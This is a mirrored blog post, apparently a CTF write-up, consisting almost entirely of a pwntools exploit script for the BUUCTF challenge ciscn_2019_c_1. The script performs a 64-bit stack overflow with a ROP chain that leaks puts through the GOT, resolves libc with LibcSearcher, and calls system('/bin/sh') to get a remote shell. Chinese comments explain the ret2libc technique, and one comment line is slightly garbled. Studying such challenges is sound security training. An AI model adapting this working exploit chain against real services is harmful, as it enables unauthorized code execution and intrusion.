zoukankan      html  css  js  c++  java
  • BUUCTF | ciscn_2019_c_1

    # encoding=utf-8
    from pwn import *
    from LibcSearcher import *
    
    sh = remote('node3.buuoj.cn',29416)
    # sh = process('./ciscn_2019_c_1')
    # sh = remote('node3.buuoj.cn', 28271)
    # ELF模块用于获取ELF文件的信息
    elf = ELF('./ciscn_2019_c_1')
    # 分析 ELF
    # context.log_level = 'deb3# start = 0x400B28
    start = elf.sym['main']
    # 0x400b28-->main函数的起始地址
    rdi_addr = 0x0000000000400c83
    #  ROPgadget --binary ciscn_2019_c_1 | grep "pop rdi"
    #  64位的 函数调用时 前六个参数是通过rdi,rsi,rdx,rcx,r8 和 r9进行传递的
    #  gadget
    #  字面意思为“小工具”,如果把某个程序比喻成汽车,那么gadget就相当于拆车的工具,依靠它,我们就可以“突破”程序的限制,执行我们希望执行的代码。
    #  找到各个函数的plt和got
    puts_plt = elf.plt['puts']
    puts_got = elf.got['puts']
    gets_got = elf.got['gets']
    # log.success('puts_plt => {}'.format(hex(puts_plt)))
    # log.success('gets_got => {}'.format(hex(gets_got)))
    # log.success('puts_got => {}'.format(hex(puts_got)))
    # 知识点:
    #     Linux的程序中使用了延迟绑定机制,也就是说一个函数在没有执行前,你是不知道它的真实地址是什么的
    #     system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
    #     即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变
    sh.sendlineafter('choice!
    ', '1')
    payload1 = 'a' * 88 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(start)
    # s->0x50+r->0x8=0x58=88
    sh.sendline(payload1)
    gdb.attach(sh)
    # 在指定process之后可以attach上去调试,配合proc模块就可以得到对应进程的pid非常方便。
    sh.recvuntil('@')
    sh.recvline()
    
    puts_leak = u64(sh.recvline()[:-1].ljust(8, ''))
    # log.success('puts_leak_addr => {}'.format(hex(puts_leak)))
    
    libc = LibcSearcher('puts', puts_leak)
    libc_base = puts_leak - libc.dump('puts')
    sys_addr = libc_base + libc.dump('system')
    bin_sh_addr = libc_base + libc.dump('str_bin_sh')
    
    # log.success('libc_base_addr => {}'.format(hex(libc_base)))
    # log.success('system_addr => {}'.format(hex(sys_addr)))
    # log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
    
    sh.sendlineafter('choice!
    ', '1')
    payload2 = 'a' * 88 + p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
    sh.sendline(payload2)
    sh.interactive()
    

      

  • 相关阅读:
    如何通过命令行窗口查看sqlite数据库文件
    eclipse自动补全的设置
    文本装饰
    注释和特殊符号
    文本装饰
    网页背景
    通过ArcGIS Server admin 查看和删除已注册的 Web Adaptor
    通过 ArcGIS Server Manager 查看已安装的 Web Adaptor
    通过 ArcGIS Server Manager 验证 DataStore
    Windows上安装ArcGIS Enterprise——以 Windows Server 2012 R2上安装 ArcGIS 10.8为例
  • 原文地址:https://www.cnblogs.com/chrysanthemum/p/12045330.html
Copyright © 2011-2022 走看看